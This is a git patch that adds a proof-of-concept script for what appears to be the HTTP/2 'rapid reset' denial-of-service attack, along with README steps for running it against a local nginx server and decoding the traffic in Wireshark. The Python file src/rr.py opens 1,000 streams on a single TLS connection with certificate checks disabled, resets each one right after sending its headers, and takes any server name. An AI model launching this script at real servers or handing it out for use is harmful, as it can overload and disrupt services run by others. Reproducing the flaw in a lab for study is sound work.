From 188ab597014bc9b31f17230fbcba7e15f94f02a9 Mon Sep 17 00:00:00 2001 From: agatha Date: Wed, 11 Oct 2023 19:26:30 -0400 Subject: [PATCH] Add PoC --- .gitignore | 5 ++++- README.md | 18 ++++++++++++++---- src/rr.py | 53 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 71 insertions(+), 5 deletions(-) diff --git a/.gitignore b/.gitignore index 9446ed1..e83d523 100644 --- a/.gitignore +++ b/.gitignore @@ -2,4 +2,7 @@ venv/ .idea/ __pycache__/ -*.py[cod] \ No newline at end of file +*.py[cod] + +# ignore ssl keylogs +*.log diff --git a/README.md b/README.md index 8c84a28..b908c60 100644 --- a/README.md +++ b/README.md @@ -1,12 +1,22 @@ # rr-dev -start http/2 enabled nginx server: +1. start http/2 enabled nginx server: ``` cd server docker compose up -d ``` -run poc: +2. start capturing traffic in wireshark + +3. run poc script: ``` -# needs to be written first, lol -``` \ No newline at end of file +python rr.py +``` + +4. decode traffic in wireshark using `ssl-keylog.log` as the ssl keyfile + +## notes +no clue if this actually works, but it seems to match the same behavior +mentioned in the cloudflare blog. + +greets to psyk0, slerig, and all the other juggalols out there diff --git a/src/rr.py b/src/rr.py index 5cd6828..2fbb140 100644 --- a/src/rr.py +++ b/src/rr.py @@ -1 +1,54 @@ """rrpoc""" +import socket +import ssl +import certifi + +import h2.connection +import h2.events + +from time import sleep + +ctx = ssl.create_default_context(cafile=certifi.where()) +ctx.set_alpn_protocols(['h2']) +ctx.check_hostname = False +ctx.verify_mode = ssl.CERT_NONE +ctx.keylog_filename = 'ssl-keylog.log' + + +def send_rr_packets(server='localhost', port=443, max_streams=1000): + s = socket.create_connection((server, port)) + s = ctx.wrap_socket(s, server_hostname=server) + c = h2.connection.H2Connection() + c.initiate_connection() + s.sendall(c.data_to_send()) + + headers = [ + (':method', 'GET'), + (':path', '/foo'), + (':authority', server), + (':scheme', 'https'), + ] + + for _ in range(max_streams): + sid = c.get_next_available_stream_id() + c.send_headers( + stream_id=sid, + headers=headers, + end_stream=True + ) + c.reset_stream(sid) + s.sendall(c.data_to_send()) + + # Add sleep or else the socket gets closed which causes server to + # stop trying to respond to our requests. + sleep(60) + + s.close() + + +def main(): + send_rr_packets(server='localhost', port=443) + + +if __name__ == '__main__': + main()